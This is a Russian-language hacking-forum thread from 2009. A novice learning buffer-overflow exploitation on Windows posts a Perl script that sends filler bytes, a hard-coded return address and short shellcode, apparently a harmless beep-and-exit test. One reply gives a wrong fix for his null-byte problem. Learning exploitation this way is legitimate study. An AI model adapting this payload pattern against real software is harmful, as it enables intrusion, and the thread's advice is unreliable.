PDA

Просмотр полной версии : Переполнения буфера!!!


wofan
11.11.2009, 17:17
кинте сылку на видео уроки по Переполнения буфера. :(

razb
11.11.2009, 18:19
какие видеоуроки, статей и так выше крыши

swt1
11.11.2009, 18:24
_wikipedia.org/wiki/Переполнение_буфера
так же на wasm.ru есть статьи...
юзайте поиск...
_wasm.ru/article.php?article=1020001

wofan
11.11.2009, 18:28
там только теория

swt1
11.11.2009, 18:31
Если вы знакомы с теорией,тогда в чём проблема?остаётся только практика,либо вы просто лентяй.

wofan
11.11.2009, 18:35
в том то й проблема что ето только теория а кат ето использовать,написать сплоит?
поиоему там об етом ничево нету.

swt1
11.11.2009, 18:43
_wasm.ru/article.php?article=buf_over4noob...

wofan
11.11.2009, 18:53
здесь всьо про Unix системы,а про винду есть?

Psi.X
11.11.2009, 18:59
Крис Касперски об этом не одну книгу написал, just use google =)

wofan
12.11.2009, 10:34
там ничево нету.

wofan
13.11.2009, 13:48
сенкс понял только никак незапущу шелкод на исполнения.
получается вот такая хрень вбиваю 28 букв затем адрес возврата.
в Olly видна как оно переходит на адрес возврата.
затем питаюсь вбить експлоит после адреса возврата но он затрагивает адрес возврата.што делать непойму.

gold-goblin
13.11.2009, 14:08
лучше тему в реверсинг.
вбить експлоит
эксплойт никуда не надо вбивать... надо шел код вбивать.

Ins3t
13.11.2009, 14:13
ТС, вот для кого грейт старался, писал статью, все разъяснял, с примерами, а?
Неужели так трудно заюзать поиск по форуму?

http://forum.antichat.ru/thread26791.html

wofan
15.11.2009, 11:41
разобрался только неможу вбить правельний адрес возврата.
вбиваю "\x40\xfb\x22\x00" а оно вместо первих нулей пишет 20.
што делать подскажите.

wofan
15.11.2009, 18:07
Ладно обясню по подробней.
есть мой exploit на Perl:
#!perl
$Poc = "\x61" x28;
$returnadr = "\x40\xfb\x22\x00";
$shellcode = "\x33\xC0\xB8\x8F".
"\x7A\x83\x7C\x68".
"\x00\x04\x00\x00".
"\x68\x00\x03\x00".
"\x00\xFF\xD0\x33".
"\xC0\xB8\xFA\xCA".
"\x81\x7C\xFF\xD0";
print "$Poc$returnadr$shellcode";.
загвоздка в том што строка "\x40\xfb\x22\x00" должна давать адрес возврата 0022fb40,а она почемуто вместо етаво дайот 2022fb40.
тоесть "\x00" принимаетса за 20 ходя должно приниматса за 00.

Lazy_Student
16.11.2009, 04:50
смини в стрроке \x40\xfb\x22\x00 на \x40\xfb\x22\x20 и все будит ok

зы: сначала прочол тему как у мня "переполнение мочевого пузыря" г г г

wofan
16.11.2009, 10:26
тоже сомое.